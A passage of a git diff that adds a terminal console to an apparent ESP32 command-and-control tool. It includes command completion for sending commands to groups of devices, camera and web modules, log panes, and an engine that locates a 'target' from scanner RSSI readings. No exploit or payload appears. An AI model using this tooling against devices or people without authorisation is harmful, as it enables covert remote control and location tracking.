self.cli: + return None + + cmd_input = self.query_one("#command-input", CommandInput) + buffer = cmd_input.value + parts = buffer.split() + + options = [] + + if len(parts) <= 1 and not buffer.endswith(" "): + options = ["send", "list", "modules", "group", "help", "clear", "exit", + "active_commands", "web", "camera"] + + elif parts[0] == "send": + if len(parts) == 2 and not buffer.endswith(" "): + options = ["all", "group"] + self.cli.registry.ids() + elif len(parts) == 2 and buffer.endswith(" "): + options = ["all", "group"] + self.cli.registry.ids() + elif len(parts) == 3 and parts[1] == "group" and not buffer.endswith(" "): + options = list(self.cli.groups.all_groups().keys()) + elif len(parts) == 3 and parts[1] == "group" and buffer.endswith(" "): + options = ESP_COMMANDS + elif len(parts) == 3 and parts[1] != "group": + options = ESP_COMMANDS + elif len(parts) == 4 and parts[1] == "group": + options = ESP_COMMANDS + + elif parts[0] == "web": + if len(parts) <= 2: + options = ["start", "stop", "status"] + + elif parts[0] == "camera": + if len(parts) <= 2: + options = ["start", "stop", "status"] + + elif parts[0] == "group": + if len(parts) == 2 and not buffer.endswith(" "): + options = ["add", "remove", "list", "show"] + elif len(parts) == 2 and buffer.endswith(" "): + options = ["add", "remove", "list", "show"] + elif parts[1] in ("remove", "show") and len(parts) >= 3: + options = list(self.cli.groups.all_groups().keys()) + elif parts[1] == "add" and len(parts) >= 3: + options = self.cli.registry.ids() + + matches = [o for o in options if o.startswith(text)] + return matches[state] if state < len(matches) else None + + return completer + + def _timestamp(self) -> str: + return time.strftime("%H:%M:%S") + + def process_bridge_queue(self) -> None: + for msg in tui_bridge.get_pending_messages(): + self._handle_tui_message(msg) + + def _handle_tui_message(self, msg: TUIMessage) -> None: + global_log = self.query_one("#global-log", GlobalLogPane) + timestamp = time.strftime("%H:%M:%S", time.localtime(msg.timestamp)) + + if msg.msg_type == MessageType.SYSTEM_MESSAGE: + global_log.add_system(timestamp, msg.payload) + + elif msg.msg_type == MessageType.DEVICE_CONNECTED: + global_log.add_system(timestamp, f"{msg.device_id} connected") + self._add_device_pane(msg.device_id) + tabs = self.query_one("#tab-bar", DeviceTabs) + tabs.add_device(msg.device_id) + + elif msg.msg_type == MessageType.DEVICE_RECONNECTED: + global_log.add_system(timestamp, f"{msg.device_id} reconnected") + + elif msg.msg_type == MessageType.DEVICE_INFO_UPDATED: + self._device_modules[msg.device_id] = msg.payload + global_log.add_system(timestamp, f"{msg.device_id} modules: {msg.payload}") + self._update_device_title(msg.device_id) + + elif msg.msg_type == MessageType.DEVICE_DISCONNECTED: + global_log.add_system(timestamp, f"{msg.device_id} disconnected") + self._remove_device_pane(msg.device_id) + tabs = self.query_one("#tab-bar", DeviceTabs) + tabs.remove_device(msg.device_id) + + elif msg.msg_type == MessageType.DEVICE_EVENT: + global_log.add_device_event(timestamp, msg.device_id, msg.payload) + if msg.device_id in self._device_panes: + event_type = self._detect_event_type(msg.payload) + self._device_panes[msg.device_id].add_event(timestamp, msg.payload, event_type) + + elif msg.msg_type == MessageType.COMMAND_SENT: + global_log.add_command_sent(timestamp, msg.device_id, msg.payload, msg.request_id) + if msg.device_id in self._device_panes: + self._device_panes[msg.device_id].add_event(timestamp, msg.payload, "cmd_sent") + + elif msg.msg_type == MessageType.COMMAND_RESPONSE: + global_log.add_command_response(timestamp, msg.device_id, msg.payload, msg.request_id) + if msg.device_id in self._device_panes: + self._device_panes[msg.device_id].add_event(timestamp, msg.payload, "cmd_resp") + + elif msg.msg_type == MessageType.ERROR: + global_log.add_error(timestamp, msg.payload) + + def _detect_event_type(self, payload: str) -> str: + payload_upper = payload.upper() + if payload_upper.startswith("INFO:"): + return "info" + elif payload_upper.startswith("LOG:"): + return "log" + elif payload_upper.startswith("ERROR:"): + return "error" + elif payload_upper.startswith("DATA:"): + return "data" + return "info" + + def _add_device_pane(self, device_id: str) -> None: + """Add a new device pane (visible immediately).""" + if device_id in self._device_panes: + return + + # Hide placeholder + placeholder = self.query_one("#no-device-placeholder", Static) + placeholder.display = False + + # Create container with border for this device + container = DeviceContainer(device_id, id=f"device-container-{device_id}") + pane = DeviceLogPane(device_id, id=f"device-pane-{device_id}") + + self._device_containers[device_id] = container + self._device_panes[device_id] = pane + + # Mount in the devices panel + devices_panel = self.query_one("#devices-panel", Vertical) + devices_panel.mount(container) + container.mount(pane) + + def _remove_device_pane(self, device_id: str) -> None: + """Remove a device pane.""" + if device_id in self._device_containers: + container = self._device_containers.pop(device_id) + container.remove() + self._device_panes.pop(device_id, None) + self._device_modules.pop(device_id, None) + + # Show placeholder if no devices + if not self._device_containers: + placeholder = self.query_one("#no-device-placeholder", Static) + placeholder.display = True + + def _update_device_title(self, device_id: str) -> None: + """Update device container title with modules info.""" + if device_id in self._device_containers: + modules = self._device_modules.get(device_id, "") + container = self._device_containers[device_id] + if modules: + container.border_title = f"DEVICE: {device_id} [{modules}]" + else: + container.border_title = f"DEVICE: {device_id}" + + def on_command_input_completions_available(self, event: CommandInput.CompletionsAvailable) -> None: + global_log = self.query_one("#global-log", GlobalLogPane) + completions_str = " ".join(event.completions) + global_log.add_system(self._timestamp(), f"Completions: {completions_str}") + + def on_command_input_command_submitted(self, event: CommandInput.CommandSubmitted) -> None: + command = event.command + global_log = self.query_one("#global-log", GlobalLogPane) + global_log.add_system(self._timestamp(), f"Executing: {command}") + + if self.cli: + try: + self.cli.execute_command(command) + except Exception as e: + global_log.add_error(self._timestamp(), f"Command error: {e}") + + def action_toggle_global(self) -> None: + """Toggle global logs pane visibility.""" + global_container = self.query_one("#global-log-container", Container) + global_container.display = not global_container.display + + def action_clear_global(self) -> None: + """Clear global logs pane only.""" + global_log = self.query_one("#global-log", GlobalLogPane) + global_log.clear() + + def action_focus_input(self) -> None: + self.query_one("#command-input", CommandInput).focus() + + def action_tab_complete(self) -> None: + cmd_input = self.query_one("#command-input", CommandInput) + cmd_input.focus() + cmd_input._handle_tab_completion() diff --git a/tools/c2/tui/bridge.py b/tools/c2/tui/bridge.py new file mode 100644 index 0000000..bb8e9b7 --- /dev/null +++ b/tools/c2/tui/bridge.py @@ -0,0 +1,65 @@ +""" +Thread-safe bridge between sync threads and async Textual TUI. +""" +import queue +import time +from dataclasses import dataclass, field +from enum import Enum +from typing import Optional, Any + + +class MessageType(Enum): + DEVICE_CONNECTED = "device_connected" + DEVICE_DISCONNECTED = "device_disconnected" + DEVICE_RECONNECTED = "device_reconnected" + DEVICE_INFO_UPDATED = "device_info_updated" + DEVICE_EVENT = "device_event" + COMMAND_SENT = "command_sent" + COMMAND_RESPONSE = "command_response" + SYSTEM_MESSAGE = "system_message" + ERROR = "error" + + +@dataclass +class TUIMessage: + """Message from sync thread to async TUI.""" + msg_type: MessageType + payload: str + timestamp: float = field(default_factory=time.time) + device_id: Optional[str] = None + request_id: Optional[str] = None + + +class TUIBridge: + """Thread-safe bridge between sync threads and async Textual app.""" + + def __init__(self): + self._queue: queue.Queue[TUIMessage] = queue.Queue() + self._app: Any = None + + def set_app(self, app): + """Called by TUI app on startup.""" + self._app = app + + def post_message(self, msg: TUIMessage): + """Called by sync threads (Display class).""" + self._queue.put(msg) + if self._app: + try: + self._app.call_from_thread(self._app.process_bridge_queue) + except Exception: + pass + + def get_pending_messages(self) -> list[TUIMessage]: + """Called by async TUI to drain the queue.""" + messages = [] + while True: + try: + messages.append(self._queue.get_nowait()) + except queue.Empty: + break + return messages + + +# Global bridge instance +tui_bridge = TUIBridge() diff --git a/tools/c2/tui/styles/c2.tcss b/tools/c2/tui/styles/c2.tcss new file mode 100644 index 0000000..82bdcb0 --- /dev/null +++ b/tools/c2/tui/styles/c2.tcss @@ -0,0 +1,119 @@ +/* C3PO TUI Stylesheet - Multi-device view */ + +Screen { + background: $surface; +} + +/* Header/Tab bar */ +#tab-bar { + height: 1; + dock: top; + background: $surface-darken-1; +} + +/* Main content area */ +#main-content { + height: 1fr; +} + +/* Left panel: all devices stacked */ +#devices-panel { + width: 1fr; + min-width: 30; +} + +#no-device-placeholder { + width: 100%; + height: 100%; + content-align: center middle; + color: $text-muted; +} + +/* Right panel: global logs */ +#global-log-container { + width: 1fr; + min-width: 30; + border: solid $primary; + border-title-color: $text; + border-title-style: bold; +} + +/* Input area */ +#input-container { + height: 3; + dock: bottom; + background: $surface-darken-1; + border-top: solid $primary; + padding: 0; +} + +#command-input { + width: 1fr; + height: 1; + margin: 0; + padding: 0 1; +} + +#shortcuts-bar { + height: 1; + width: 100%; + background: $surface-darken-2; + color: $text-muted; + padding: 0 1; +} + +/* Device containers - each device in its own bordered box */ +DeviceContainer { + height: 1fr; + min-height: 5; + border: solid $secondary; + border-title-color: $text; + border-title-style: bold; + margin-bottom: 0; +} + +/* Log pane inside device container */ +DeviceLogPane { + height: 100%; + scrollbar-size: 1 1; +} + +/* Global log pane */ +GlobalLogPane { + height: 100%; + scrollbar-size: 1 1; +} + +/* Log colors */ +.log-system { + color: cyan; +} + +.log-device { + color: yellow; +} + +.log-error { + color: red; +} + +.log-command { + color: blue; +} + +.log-response { + color: green; +} + +/* Status indicator */ +.status-connected { + color: green; +} + +.status-inactive { + color: yellow; +} + +.status-disconnected { + color: red; +} diff --git a/tools/c2/tui/widgets/__init__.py b/tools/c2/tui/widgets/__init__.py new file mode 100644 index 0000000..8d17a04 --- /dev/null +++ b/tools/c2/tui/widgets/__init__.py @@ -0,0 +1,5 @@ +from tui.widgets.log_pane import GlobalLogPane, DeviceLogPane +from tui.widgets.command_input import CommandInput +from tui.widgets.device_tabs import DeviceTabs + +__all__ = ["GlobalLogPane", "DeviceLogPane", "CommandInput", "DeviceTabs"] diff --git a/tools/c2/tui/widgets/command_input.py b/tools/c2/tui/widgets/command_input.py new file mode 100644 index 0000000..c8e85d4 --- /dev/null +++ b/tools/c2/tui/widgets/command_input.py @@ -0,0 +1,215 @@ +""" +Command input widget with history and zsh-style tab completion. +""" +from textual.widgets import Input +from textual.message import Message +from typing import Callable, Optional + + +class CommandInput(Input): + """Command input with history and zsh-style tab completion.""" + + DEFAULT_CSS = """ + CommandInput { + dock: bottom; + height: 1; + border: none; + background: $surface; + padding: 0 1; + } + CommandInput:focus { + border: none; + } + """ + + class CommandSubmitted(Message): + """Posted when a command is submitted.""" + def __init__(self, command: str): + self.command = command + super().__init__() + + class CompletionsAvailable(Message): + """Posted when multiple completions are available.""" + def __init__(self, completions: list[str], word: str): + self.completions = completions + self.word = word + super().__init__() + + def __init__(self, **kwargs): + super().__init__( + placeholder="c2:> Type command here...", + **kwargs + ) + self._history: list[str] = [] + self._history_index: int = -1 + self._current_input: str = "" + self._completer: Optional[Callable[[str, int], Optional[str]]] = None + self._last_completion_text: str = "" + self._last_completions: list[str] = [] + self._completion_cycle_index: int = 0 + + def set_completer(self, completer: Callable[[str, int], Optional[str]]): + """Set the tab completion function (same signature as readline completer).""" + self._completer = completer + + def on_key(self, event) -> None: + """Handle special keys for history and completion.""" + if event.key == "up": + event.prevent_default() + self._navigate_history(-1) + elif event.key == "down": + event.prevent_default() + self._navigate_history(1) + elif event.key == "tab": + event.prevent_default() + self._handle_tab_completion() + + def _get_all_completions(self, word: str) -> list[str]: + """Get all possible completions for a word.""" + if not self._completer: + return [] + + completions = [] + state = 0 + while True: + completion = self._completer(word, state) + if completion is None: + break + completions.append(completion) + state += 1 + return completions + + def _find_common_prefix(self, strings: list[str]) -> str: + """Find the longest common prefix among strings.""" + if not strings: + return "" + if len(strings) == 1: + return strings[0] + + prefix = strings[0] + for s in strings[1:]: + while not s.startswith(prefix): + prefix = prefix[:-1] + if not prefix: + return "" + return prefix + + def _handle_tab_completion(self): + """Handle zsh-style tab completion.""" + if not self._completer: + return + + current_text = self.value + cursor_pos = self.cursor_position + + # Get the word being completed + text_before_cursor = current_text[:cursor_pos] + parts = text_before_cursor.split() + + if not parts: + word_to_complete = "" + elif text_before_cursor.endswith(" "): + word_to_complete = "" + else: + word_to_complete = parts[-1] + + # Check if context changed (new completion session) + context_changed = text_before_cursor != self._last_completion_text + + if context_changed: + # New completion session - get all completions + self._last_completions = self._get_all_completions(word_to_complete) + self._completion_cycle_index = 0 + self._last_completion_text = text_before_cursor + + if not self._last_completions: + # No completions + return + + if len(self._last_completions) == 1: + # Single match - complete directly + self._apply_completion(self._last_completions[0], word_to_complete, cursor_pos) + self._last_completions = [] + return + + # Multiple matches - complete to common prefix and show options + common_prefix = self._find_common_prefix(self._last_completions) + + if common_prefix and len(common_prefix) > len(word_to_complete): + # Complete to common prefix + self._apply_completion(common_prefix, word_to_complete, cursor_pos) + + # Show all completions + self.post_message(self.CompletionsAvailable( + self._last_completions.copy(), + word_to_complete + )) + + else: + # Same context - cycle through completions + if not self._last_completions: + return + + # Get next completion in cycle + completion = self._last_completions[self._completion_cycle_index] + self._apply_completion(completion, word_to_complete, cursor_pos) + + # Advance cycle + self._completion_cycle_index = (self._completion_cycle_index + 1) % len(self._last_completions) + + def _apply_completion(self, completion: str, word_to_complete: str, cursor_pos: int): + """Apply a completion to the input.""" + current_text = self.value + text_before_cursor = current_text[:cursor_pos] + + if word_to_complete: + prefix = text_before_cursor[:-len(word_to_complete)] + else: + prefix = text_before_cursor + + new_text = prefix + completion + current_text[cursor_pos:] + new_cursor = len(prefix) + len(completion) + + self.value = new_text + self.cursor_position = new_cursor + self._last_completion_text = new_text[:new_cursor] + + def _navigate_history(self, direction: int): + """Navigate through command history.""" + if not self._history: + return + + if self._history_index == -1: + self._current_input = self.value + + new_index = self._history_index + direction + + if new_index < -1: + new_index = -1 + elif new_index >= len(self._history): + new_index = len(self._history) - 1 + + self._history_index = new_index + + if self._history_index == -1: + self.value = self._current_input + else: + self.value = self._history[-(self._history_index + 1)] + + self.cursor_position = len(self.value) + + def action_submit(self) -> None: + """Submit the current command.""" + command = self.value.strip() + if command: + self._history.append(command) + if len(self._history) > 100: + self._history.pop(0) + self.post_message(self.CommandSubmitted(command)) + + self.value = "" + self._history_index = -1 + self._current_input = "" + self._last_completions = [] + self._completion_cycle_index = 0 + self._last_completion_text = "" diff --git a/tools/c2/tui/widgets/device_tabs.py b/tools/c2/tui/widgets/device_tabs.py new file mode 100644 index 0000000..2ba66ff --- /dev/null +++ b/tools/c2/tui/widgets/device_tabs.py @@ -0,0 +1,159 @@ +""" +Dynamic device tabs widget. +""" +from textual.widgets import Static, Button +from textual.containers import Horizontal +from textual.message import Message +from textual.reactive import reactive + + +class DeviceTabs(Horizontal): + """Tab bar for device switching with dynamic updates.""" + + DEFAULT_CSS = """ + DeviceTabs { + height: 1; + width: 100%; + background: $surface; + padding: 0; + } + + DeviceTabs .tab-label { + padding: 0 1; + height: 1; + min-width: 8; + } + + DeviceTabs .tab-label.active { + background: $primary; + color: $text; + text-style: bold; + } + + DeviceTabs .tab-label:hover { + background: $primary-darken-1; + } + + DeviceTabs .header-label { + padding: 0 1; + height: 1; + color: $text-muted; + } + + DeviceTabs .separator { + padding: 0; + height: 1; + color: $text-muted; + } + + DeviceTabs .device-count { + dock: right; + padding: 0 1; + height: 1; + color: $text-muted; + } + """ + + active_tab: reactive[str] = reactive("global") + devices_hidden: reactive[bool] = reactive(False) + + class TabSelected(Message): + """Posted when a tab is selected.""" + def __init__(self, tab_id: str, device_id: str | None = None): + self.tab_id = tab_id + self.device_id = device_id + super().__init__() + + def __init__(self, **kwargs): + super().__init__(**kwargs) + self._devices: list[str] = [] + + def compose(self): + yield Static("C3PO", classes="header-label", id="c3po-label") + yield Static(" \u2500 ", classes="separator") + yield Static("[G]lobal", classes="tab-label active", id="tab-global") + yield Static(" [H]ide", classes="tab-label", id="tab-hide") + yield Static("", classes="device-count", id="device-count") + + def add_device(self, device_id: str): + """Add a device tab.""" + if device_id not in self._devices: + self._devices.append(device_id) + self._rebuild_tabs() + + def remove_device(self, device_id: str): + """Remove a device tab.""" + if device_id in self._devices: + self._devices.remove(device_id) + if self.active_tab == device_id: + self.active_tab = "global" + self._rebuild_tabs() + + def _rebuild_tabs(self): + """Rebuild all tabs.""" + for widget in list(self.children): + if hasattr(widget, 'id') and widget.id and widget.id.startswith("tab-device-"): + widget.remove() + + hide_tab = self.query_one("#tab-hide", Static) + + for i, device_id in enumerate(self._devices): + if i < 9: + label = f"[{i+1}]{device_id}" + tab = Static( + label, + classes="tab-label" + (" active" if self.active_tab == device_id else ""), + id=f"tab-device-{device_id}" + ) + self.mount(tab, before=hide_tab) + + count_label = self.query_one("#device-count", Static) + count_label.update(f"{len(self._devices)} device{'s' if len(self._devices) != 1 else ''}") + + def select_tab(self, tab_id: str): + """Select a tab by ID.""" + if tab_id == "global": + self.active_tab = "global" + self.post_message(self.TabSelected("global")) + elif tab_id in self._devices: + self.active_tab = tab_id + self.post_message(self.TabSelected(tab_id, tab_id)) + + self._update_active_styles() + + def select_by_index(self, index: int): + """Select device tab by numeric index (1-9).""" + if 0 < index <= len(self._devices): + device_id = self._devices[index - 1] + self.select_tab(device_id) + + def toggle_hide(self): + """Toggle device panes visibility.""" + self.devices_hidden = not self.devices_hidden + hide_tab = self.query_one("#tab-hide", Static) + hide_tab.update("[H]ide" if not self.devices_hidden else "[H]show") + + def _update_active_styles(self): + """Update tab styles to show active state.""" + for tab in self.query(".tab-label"): + tab.remove_class("active") + + if self.active_tab == "global": + self.query_one("#tab-global", Static).add_class("active") + else: + try: + self.query_one(f"#tab-device-{self.active_tab}", Static).add_class("active") + except Exception: + pass + + def on_click(self, event) -> None: + """Handle tab clicks.""" + target = event.target + if hasattr(target, 'id') and target.id: + if target.id == "tab-global": + self.select_tab("global") + elif target.id == "tab-hide": + self.toggle_hide() + elif target.id.startswith("tab-device-"): + device_id = target.id.replace("tab-device-", "") + self.select_tab(device_id) diff --git a/tools/c2/tui/widgets/log_pane.py b/tools/c2/tui/widgets/log_pane.py new file mode 100644 index 0000000..06c9988 --- /dev/null +++ b/tools/c2/tui/widgets/log_pane.py @@ -0,0 +1,117 @@ +""" +Log pane widgets for displaying device and global logs. +""" +from textual.widgets import RichLog +from rich.text import Text + + +class GlobalLogPane(RichLog): + """Combined log view for all devices and system messages.""" + + DEFAULT_CSS = """ + GlobalLogPane { + border: solid $primary; + height: 100%; + scrollbar-size: 1 1; + } + """ + + def __init__(self, **kwargs): + super().__init__( + highlight=True, + markup=True, + wrap=True, + max_lines=5000, + **kwargs + ) + + def add_system(self, timestamp: str, message: str): + """Add a system message.""" + text = Text() + text.append(f"{timestamp} ", style="dim") + text.append("[SYS] ", style="cyan bold") + text.append(message) + self.write(text) + + def add_device_event(self, timestamp: str, device_id: str, event: str): + """Add a device event.""" + text = Text() + text.append(f"{timestamp} ", style="dim") + text.append(f"[{device_id}] ", style="yellow") + text.append(event) + self.write(text) + + def add_command_sent(self, timestamp: str, device_id: str, command: str, request_id: str): + """Add a command sent message.""" + text = Text() + text.append(f"{timestamp} ", style="dim") + text.append("[CMD] ", style="blue bold") + text.append(f"{command} ", style="blue") + text.append(f"-> {device_id}", style="dim") + self.write(text) + + def add_command_response(self, timestamp: str, device_id: str, response: str, request_id: str): + """Add a command response.""" + text = Text() + text.append(f"{timestamp} ", style="dim") + text.append(f"[{device_id}] ", style="green") + text.append(response, style="green") + self.write(text) + + def add_error(self, timestamp: str, message: str): + """Add an error message.""" + text = Text() + text.append(f"{timestamp} ", style="dim") + text.append("[ERR] ", style="red bold") + text.append(message, style="red") + self.write(text) + + +class DeviceLogPane(RichLog): + """Per-device log display with filtering.""" + + DEFAULT_CSS = """ + DeviceLogPane { + height: 100%; + scrollbar-size: 1 1; + } + """ + + def __init__(self, device_id: str, **kwargs): + super().__init__( + highlight=True, + markup=True, + wrap=True, + max_lines=2000, + **kwargs + ) + self.device_id = device_id + + def add_event(self, timestamp: str, event: str, event_type: str = "info"): + """Add an event to this device's log.""" + text = Text() + text.append(f"{timestamp} ", style="dim") + + style_map = { + "info": "yellow", + "log": "white", + "error": "red", + "cmd_sent": "blue", + "cmd_resp": "green", + "data": "magenta", + } + style = style_map.get(event_type, "white") + + prefix_map = { + "info": "> INFO: ", + "log": "> LOG: ", + "error": "> ERROR: ", + "cmd_sent": "> CMD: ", + "cmd_resp": "> RESP: ", + "data": "> DATA: ", + } + prefix = prefix_map.get(event_type, "> ") + + text.append(prefix, style=f"{style} bold") + text.append(event, style=style) + self.write(text) diff --git a/tools/c2/utils/display.py b/tools/c2/utils/display.py index 6d0933c..8d2e959 100644 --- a/tools/c2/utils/display.py +++ b/tools/c2/utils/display.py @@ -1,29 +1,115 @@ import time from utils.constant import _color +# TUI bridge import (lazy to avoid circular imports) +_tui_bridge = None + + +def _get_bridge(): + global _tui_bridge + if _tui_bridge is None: + try: + from tui.bridge import tui_bridge + _tui_bridge = tui_bridge + except ImportError: + _tui_bridge = False + return _tui_bridge if _tui_bridge else None + + class Display: + _tui_mode = False + + @classmethod + def enable_tui_mode(cls): + """Enable TUI mode - routes output to TUI bridge instead of print.""" + cls._tui_mode = True + + @classmethod + def disable_tui_mode(cls): + """Disable TUI mode - back to print output.""" + cls._tui_mode = False + @staticmethod def _timestamp() -> str: return time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) @staticmethod def system_message(message: str): + if Display._tui_mode: + bridge = _get_bridge() + if bridge: + from tui.bridge import TUIMessage, MessageType + bridge.post_message(TUIMessage( + msg_type=MessageType.SYSTEM_MESSAGE, + payload=message + )) + return print(f"{Display._timestamp()} {_color('CYAN')}[SYSTEM]{_color('RESET')} {message}") @staticmethod def device_event(device_id: str, event: str): + if Display._tui_mode: + bridge = _get_bridge() + if bridge: + from tui.bridge import TUIMessage, MessageType + # Detect special events + if "Connected from" in event: + msg_type = MessageType.DEVICE_CONNECTED + elif "Reconnected from" in event: + msg_type = MessageType.DEVICE_RECONNECTED + elif event == "Disconnected": + msg_type = MessageType.DEVICE_DISCONNECTED + else: + msg_type = MessageType.DEVICE_EVENT + bridge.post_message(TUIMessage( + msg_type=msg_type, + device_id=device_id, + payload=event + )) + return print(f"{Display._timestamp()} {_color('YELLOW')}[DEVICE:{device_id}]{_color('RESET')} {event}") @staticmethod def command_sent(device_id: str, command_name: str, request_id: str): + if Display._tui_mode: + bridge = _get_bridge() + if bridge: + from tui.bridge import TUIMessage, MessageType + bridge.post_message(TUIMessage( + msg_type=MessageType.COMMAND_SENT, + device_id=device_id, + payload=command_name, + request_id=request_id + )) + return print(f"{Display._timestamp()} {_color('BLUE')}[CMD_SENT:{request_id}]{_color('RESET')} To {device_id}: {command_name}") @staticmethod def command_response(request_id: str, device_id: str, response: str): + if Display._tui_mode: + bridge = _get_bridge() + if bridge: + from tui.bridge import TUIMessage, MessageType + bridge.post_message(TUIMessage( + msg_type=MessageType.COMMAND_RESPONSE, + device_id=device_id, + payload=response, + request_id=request_id + )) + return print(f"{Display._timestamp()} {_color('GREEN')}[CMD_RESP:{request_id}]{_color('RESET')} From {device_id}: {response}") @staticmethod def error(message: str): + if Display._tui_mode: + bridge = _get_bridge() + if bridge: + from tui.bridge import TUIMessage, MessageType + bridge.post_message(TUIMessage( + msg_type=MessageType.ERROR, + payload=message + )) + return print(f"{Display._timestamp()} {_color('RED')}[ERROR]{_color('RESET')} {message}") @staticmethod diff --git a/tools/c2/web/__init__.py b/tools/c2/web/__init__.py new file mode 100644 index 0000000..c531866 --- /dev/null +++ b/tools/c2/web/__init__.py @@ -0,0 +1,6 @@ +"""Unified web server module for ESPILON C2.""" + +from .server import UnifiedWebServer +from .mlat import MlatEngine + +__all__ = ["UnifiedWebServer", "MlatEngine"] diff --git a/tools/c2/web/mlat.py b/tools/c2/web/mlat.py new file mode 100644 index 0000000..650e414 --- /dev/null +++ b/tools/c2/web/mlat.py @@ -0,0 +1,429 @@ +"""MLAT (Multilateration) engine for device positioning with GPS support.""" + +import time +import re +import math +from typing import Optional, Tuple +import numpy as np +from scipy.optimize import minimize + + +class MlatEngine: + """ + Calculates target position from multiple scanner RSSI readings. + + Supports both: + - GPS coordinates (lat, lon) for outdoor tracking + - Local coordinates (x, y in meters) for indoor tracking + + Uses the log-distance path loss model to convert RSSI to distance, + then weighted least squares optimization for position estimation. + """ + + # Earth radius in meters (for GPS calculations) + EARTH_RADIUS = 6371000 + + def __init__(self, rssi_at_1m: float = -40, path_loss_n: float = 2.5, smoothing_window: int = 5): + """ + Initialize the MLAT engine. + + Args: + rssi_at_1m: RSSI value at 1 meter distance (calibration, typically -40 to -50) + path_loss_n: Path loss exponent (2.0 free space, 2.5-3.5 indoors) + smoothing_window: Number of readings to average for noise reduction + """ + self.rssi_at_1m = rssi_at_1m + self.path_loss_n = path_loss_n + self.smoothing_window = smoothing_window + + # Scanner data: {scanner_id: {"position": {"lat": x, "lon": y} or {"x": x, "y": y}, ...}} + self.scanners: dict = {} + + # Last calculated target position + self._last_target: Optional[dict] = None + self._last_calculation: float = 0 + + # Coordinate mode: 'gps' or 'local' + self._coord_mode = 'gps' + + @staticmethod + def haversine_distance(lat1: float, lon1: float, lat2: float, lon2: float) -> float: + """ + Calculate distance between two GPS points using Haversine formula. + + Args: + lat1, lon1: First point (degrees) + lat2, lon2: Second point (degrees) + + Returns: + Distance in meters + """ + lat1_rad = math.radians(lat1) + lat2_rad = math.radians(lat2) + delta_lat = math.radians(lat2 - lat1) + delta_lon = math.radians(lon2 - lon1) + + a = (math.sin(delta_lat / 2) ** 2 + + math.cos(lat1_rad) * math.cos(lat2_rad) * math.sin(delta_lon / 2) ** 2) + c = 2 * math.atan2(math.sqrt(a), math.sqrt(1 - a)) + + return MlatEngine.EARTH_RADIUS * c + + @staticmethod + def meters_to_degrees(meters: float, latitude: float) -> Tuple[float, float]: + """ + Convert meters to approximate degrees at a given latitude. + + Args: + meters: Distance in meters + latitude: Reference latitude (for longitude scaling) + + Returns: + (delta_lat, delta_lon) in degrees + """ + delta_lat = meters / 111320 # ~111.32 km per degree latitude + delta_lon = meters / (111320 * math.cos(math.radians(latitude))) + return delta_lat, delta_lon + + def parse_mlat_message(self, scanner_id: str, message: str) -> bool: + """ + Parse MLAT message from ESP32 device. + + New format with coordinate type prefix: + MLAT:G;;; - GPS coordinates + MLAT:L;;; - Local coordinates (meters) + + Legacy format (backward compatible): + MLAT:;; - Treated as GPS + + Args: + scanner_id: Device ID that sent the message + message: Raw message content (without MLAT: prefix) + + Returns: + True if successfully parsed, False otherwise + """ + # New format with type prefix: G;lat;lon;rssi or L;x;y;rssi + pattern_new = re.compile(r'^([GL]);([0-9.+-]+);([0-9.+-]+);(-?\d+)$') + match = pattern_new.match(message) + + if match: + coord_type = match.group(1) + c1 = float(match.group(2)) + c2 = float(match.group(3)) + rssi = int(match.group(4)) + + if coord_type == 'G': + self.add_reading_gps(scanner_id, c1, c2, rssi) + else: # 'L' - local + self.add_reading(scanner_id, c1, c2, rssi) + return True + + # Legacy format: lat;lon;rssi (backward compatible - treat as GPS) + pattern_legacy = re.compile(r'^([0-9.+-]+);([0-9.+-]+);(-?\d+)$') + match = pattern_legacy.match(message) + + if match: + lat = float(match.group(1)) + lon = float(match.group(2)) + rssi = int(match.group(3)) + self.add_reading_gps(scanner_id, lat, lon, rssi) + return True + + return False + + def parse_data(self, raw_data: str) -> int: + """ + Parse raw MLAT data from HTTP POST. + + Format: SCANNER_ID;(lat,lon);rssi + Example: ESP3;(48.8566,2.3522);-45 + + Args: + raw_data: Raw text data with one or more readings + + Returns: + Number of readings successfully processed + """ + pattern = re.compile(r'^(\w+);\(([0-9.+-]+),([0-9.+-]+)\);(-?\d+)$') + count = 0 + timestamp = time.time() + + for line in raw_data.strip().split('\n'): + line = line.strip() + if not line: + continue + + match = pattern.match(line) + if match: + scanner_id = match.group(1) + lat = float(match.group(2)) + lon = float(match.group(3)) + rssi = int(match.group(4)) + + self.add_reading_gps(scanner_id, lat, lon, rssi, timestamp) + count += 1 + + return count + + def add_reading_gps(self, scanner_id: str, lat: float, lon: float, rssi: int, timestamp: float = None): + """ + Add a new RSSI reading from a scanner with GPS coordinates. + + Args: + scanner_id: Unique identifier for the scanner + lat: Latitude of the scanner + lon: Longitude of the scanner + rssi: RSSI value (negative dBm) + timestamp: Reading timestamp (defaults to current time) + """ + if timestamp is None: + timestamp = time.time() + + if scanner_id not in self.scanners: + self.scanners[scanner_id] = { + "position": {"lat": lat, "lon": lon}, + "rssi_history": [], + "last_seen": timestamp + } + + scanner = self.scanners[scanner_id] + scanner["position"] = {"lat": lat, "lon": lon} + scanner["rssi_history"].append(rssi) + scanner["last_seen"] = timestamp + + # Keep only recent readings for smoothing + if len(scanner["rssi_history"]) > self.smoothing_window: + scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:] + + self._coord_mode = 'gps' + + def add_reading(self, scanner_id: str, x: float, y: float, rssi: int, timestamp: float = None): + """ + Add a new RSSI reading from a scanner with local coordinates. + + Args: + scanner_id: Unique identifier for the scanner + x: X coordinate of the scanner (meters) + y: Y coordinate of the scanner (meters) + rssi: RSSI value (negative dBm) + timestamp: Reading timestamp (defaults to current time) + """ + if timestamp is None: + timestamp = time.time() + + if scanner_id not in self.scanners: + self.scanners[scanner_id] = { + "position": {"x": x, "y": y}, + "rssi_history": [], + "last_seen": timestamp + } + + scanner = self.scanners[scanner_id] + scanner["position"] = {"x": x, "y": y} + scanner["rssi_history"].append(rssi) + scanner["last_seen"] = timestamp + + if len(scanner["rssi_history"]) > self.smoothing_window: + scanner["rssi_history"] = scanner["rssi_history"][-self.smoothing_window:] + + self._coord_mode = 'local' + + def rssi_to_distance(self, rssi: float) -> float: + """ + Convert RSSI to estimated distance using log-distance path loss model. + + d = 10^((RSSI_1m - RSSI) / (10 * n)) + + Args: + rssi: RSSI value (negative dBm) + + Returns: + Estimated distance in meters + """ + return 10 ** ((self.rssi_at_1m - rssi) / (10 * self.path_loss_n)) + + def calculate_position(self) -> dict: + """ + Calculate target position using multilateration. + + Requires at least 3 active scanners with recent readings. + Uses weighted least 